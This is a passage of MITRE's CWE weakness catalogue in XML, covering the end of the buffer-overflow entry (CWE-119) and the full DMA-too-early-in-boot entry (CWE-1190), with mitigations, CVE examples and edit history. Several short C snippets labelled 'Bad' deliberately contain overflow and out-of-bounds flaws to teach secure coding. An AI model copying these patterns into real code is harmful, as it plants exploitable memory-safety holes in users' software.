	         <xhtml:p> For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application. </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-13">
               <Phase>Implementation</Phase>
               <Description>Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-1">
               <Intro_Text>This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void host_lookup(char *user_supplied_addr){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>struct hostent *hp;<xhtml:br/>in_addr_t *addr;<xhtml:br/>char hostname[64];<xhtml:br/>in_addr_t inet_addr(const char *cp);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/*routine that ensures user_supplied_addr is in the right format for conversion */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>validate_addr_form(user_supplied_addr);<xhtml:br/>addr = inet_addr(user_supplied_addr);<xhtml:br/>hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);<xhtml:br/>strcpy(hostname, hp-&gt;h_name);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.</Body_Text>
               <Body_Text>Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-19">
               <Intro_Text>This example applies an encoding procedure to an input string and stores it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char * copy_input(char *user_supplied_string){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int i, dst_index;<xhtml:br/>char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);<xhtml:br/>if ( MAX_SIZE &lt;= strlen(user_supplied_string) ){<xhtml:div style="margin-left:1em;">die("user string too long, die evil hacker!");</xhtml:div>}<xhtml:br/>dst_index = 0;<xhtml:br/>for ( i = 0; i &lt; strlen(user_supplied_string); i++ ){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if( '&amp;' == user_supplied_string[i] ){<xhtml:div style="margin-left:1em;">dst_buf[dst_index++] = '&amp;';<xhtml:br/>dst_buf[dst_index++] = 'a';<xhtml:br/>dst_buf[dst_index++] = 'm';<xhtml:br/>dst_buf[dst_index++] = 'p';<xhtml:br/>dst_buf[dst_index++] = ';';</xhtml:div>}<xhtml:br/>else if ('&lt;' == user_supplied_string[i] ){<xhtml:div style="margin-left:1em;">
                                       <xhtml:i>/* encode to &amp;lt; */</xhtml:i>
                                       <xhtml:br/>
                                 </xhtml:div>}<xhtml:br/>else dst_buf[dst_index++] = user_supplied_string[i];</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return dst_buf;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-90">
               <Intro_Text>The following example asks a user for an offset into an array to select an item.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:br/>int main (int argc, char **argv) {<xhtml:div style="margin-left:1em;">char *items[] = {"boat", "car", "truck", "train"};<xhtml:br/>int index = GetUntrustedOffset();<xhtml:br/>printf("You selected %s\n", items[index-1]);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-100">
               <Intro_Text>In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int getValueFromArray(int *array, int len, int index) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>int value;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// check that the array index is less than the maximum</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// length of the array</xhtml:i>
                           <xhtml:br/>if (index &lt; len) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:i>// get the value at the specified index of the array</xhtml:i>
                                 <xhtml:br/>value = array[index];</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:i>// if array index is invalid then output error message</xhtml:i>
                           <xhtml:br/>
                           <xhtml:i>// and return value indicating error</xhtml:i>
                           <xhtml:br/>else {<xhtml:div style="margin-left:1em;">printf("Value is: %d\n", array[index]);<xhtml:br/>value = -1;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>return value;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>
                     <xhtml:br/>...<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// check that the array index is within the correct</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// range of values for the array</xhtml:i>
                     <xhtml:br/>if (index &gt;= 0 &amp;&amp; index &lt; len) {<xhtml:br/>
                     <xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-22991</Reference>
               <Description>Incorrect URI normalization in application traffic product leads to buffer overflow, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-22991</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-29557</Reference>
               <Description>Buffer overflow in Wi-Fi router web interface, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-29557</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2550</Reference>
               <Description>Classic stack-based buffer overflow in media player using a long entry in a playlist</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2550</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2403</Reference>
               <Description>Heap-based buffer overflow in media player using a long entry in a playlist</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2403</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0689</Reference>
               <Description>large precision value in a format string triggers overflow</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0689</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0690</Reference>
               <Description>negative offset value leads to out-of-bounds read</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0690</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1532</Reference>
               <Description>malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1532</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1528</Reference>
               <Description>chain: lack of synchronization leads to memory corruption</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1528</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2021-29529</Reference>
	      <Description>Chain: machine-learning product can have a heap-based
	      buffer overflow (CWE-122) when some integer-oriented bounds are
	      calculated by using ceiling() and floor() on floating point values
	      (CWE-1339)</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2021-29529</Link>
	    </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0558</Reference>
               <Description>attacker-controlled array index leads to code execution</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0558</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0269</Reference>
               <Description>chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0269</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0566</Reference>
               <Description>chain: incorrect calculations lead to incorrect pointer dereference and memory corruption</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0566</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1350</Reference>
               <Description>product accepts crafted messages that lead to a dereference of an arbitrary pointer</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1350</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0191</Reference>
               <Description>chain: malformed input causes dereference of uninitialized memory</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0191</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4113</Reference>
               <Description>OS kernel trusts userland-supplied length value, allowing reading of sensitive information</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4113</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1513</Reference>
               <Description>Chain: integer overflow in securely-coded mail program leads to buffer overflow. In 2005, this was regarded as unrealistic to exploit, but in 2020, it was rediscovered to be easier to exploit due to evolutions of the technology.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1513</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0542</Reference>
               <Description>buffer overflow involving a regular expression with a large number of captures</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0542</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-1000121</Reference>
               <Description>chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-1000121</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A5</Entry_ID>
               <Entry_Name>Buffer Overflows</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR00-C</Entry_ID>
               <Entry_Name>Understand how arrays work</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR30-C</Entry_ID>
               <Entry_Name>Do not form or use out-of-bounds pointers or array subscripts</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR38-C</Entry_ID>
               <Entry_Name>Guarantee that library functions do not form invalid pointers</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ENV01-C</Entry_ID>
               <Entry_Name>Do not make assumptions about the size of an environment variable</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP39-C</Entry_ID>
               <Entry_Name>Do not access a variable through a pointer of an incompatible type</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO37-C</Entry_ID>
               <Entry_Name>Do not assume character data has been read</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR31-C</Entry_ID>
               <Entry_Name>Guarantee that storage for strings has sufficient space for character data and the null terminator</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR32-C</Entry_ID>
               <Entry_Name>Do not pass a non-null-terminated character sequence to a library function that expects a string</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>7</Entry_ID>
               <Entry_Name>Buffer Overflow</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP8</Entry_ID>
               <Entry_Name>Faulty Buffer Access</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="10"/>
            <Related_Attack_Pattern CAPEC_ID="100"/>
            <Related_Attack_Pattern CAPEC_ID="123"/>
            <Related_Attack_Pattern CAPEC_ID="14"/>
            <Related_Attack_Pattern CAPEC_ID="24"/>
            <Related_Attack_Pattern CAPEC_ID="42"/>
            <Related_Attack_Pattern CAPEC_ID="44"/>
            <Related_Attack_Pattern CAPEC_ID="45"/>
            <Related_Attack_Pattern CAPEC_ID="46"/>
            <Related_Attack_Pattern CAPEC_ID="47"/>
            <Related_Attack_Pattern CAPEC_ID="8"/>
            <Related_Attack_Pattern CAPEC_ID="9"/>
         </Related_Attack_Patterns>
         <References>
	    <Reference External_Reference_ID="REF-1029"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 5, &#34;Public Enemy #1: The Buffer Overrun&#34; Page 127; Chapter 14, &#34;Prevent I18N Buffer Overruns&#34; Page 441"/>
            <Reference External_Reference_ID="REF-56"/>
            <Reference External_Reference_ID="REF-57"/>
            <Reference External_Reference_ID="REF-58"/>
            <Reference External_Reference_ID="REF-59"/>
            <Reference External_Reference_ID="REF-60"/>
            <Reference External_Reference_ID="REF-61"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 5, &#34;Memory Corruption&#34;, Page 167"/>
            <Reference External_Reference_ID="REF-64"/>
	    <Reference External_Reference_ID="REF-1332"/>
	    <Reference External_Reference_ID="REF-1333"/>
	    <Reference External_Reference_ID="REF-1334"/>
	    <Reference External_Reference_ID="REF-1335"/>
	    <Reference External_Reference_ID="REF-1336"/>
	    <Reference External_Reference_ID="REF-1337" Section="Memory information leaks"/>
         </References>
         <Notes>
            <Note Type="Applicable Platform">
               <xhtml:p>It is possible in any programming languages without memory management support to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Likelihood_of_Exploit, Name, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Relationships, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Buffer Errors</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-01-12">Failure to Constrain Operations within the Bounds of an Allocated Memory Buffer</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Constrain Operations within the Bounds of a Memory Buffer</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1190" Name="DMA Device Enabled Too Early in Boot Phase" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product enables a Direct Memory Access (DMA) capable device before the security configuration settings are established, which allows an attacker to extract data from or gain privileges on the product.</Description>
         <Extended_Description>
            <xhtml:p>DMA is included in a number of devices because it allows
              data transfer between the computer and the connected device, using
              direct hardware access to read or write directly to main memory
              without any OS interaction. An attacker could exploit this to
              access secrets. Several virtualization-based mitigations have been introduced to thwart DMA attacks. These are usually
              configured/setup during boot time. However, certain IPs that are
              powered up before boot is complete (known as early boot IPs) may
              be DMA capable. Such IPs, if not trusted, could launch DMA
              attacks and gain access to assets that should otherwise be
              protected.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="696" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="System on Chip" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
		 <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
			   <Impact>Modify Memory</Impact>
			   <Likelihood>High</Likelihood>
               <Note>DMA devices have direct write access to main memory and
                 due to time of attack will be able to bypass OS or Bootloader
                 access control.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Utilize an IOMMU to orchestrate IO access from
                 the start of the boot process.</Description>
            </Mitigation>
          </Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="180"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-1038"/>
            <Reference External_Reference_ID="REF-1039"/>
            <Reference External_Reference_ID="REF-1040"/>
            <Reference External_Reference_ID="REF-1041"/>
            <Reference External_Reference_ID="REF-1042"/>
            <Reference External_Reference_ID="REF-1044"/>
            <Reference External_Reference_ID="REF-1046"/>
         </References>
         <Content_History>
            <Submission>
			   <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
               <Submission_Organization>Intel Corporation</Submission_Organization>
               <Submission_Date>2019-10-15</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
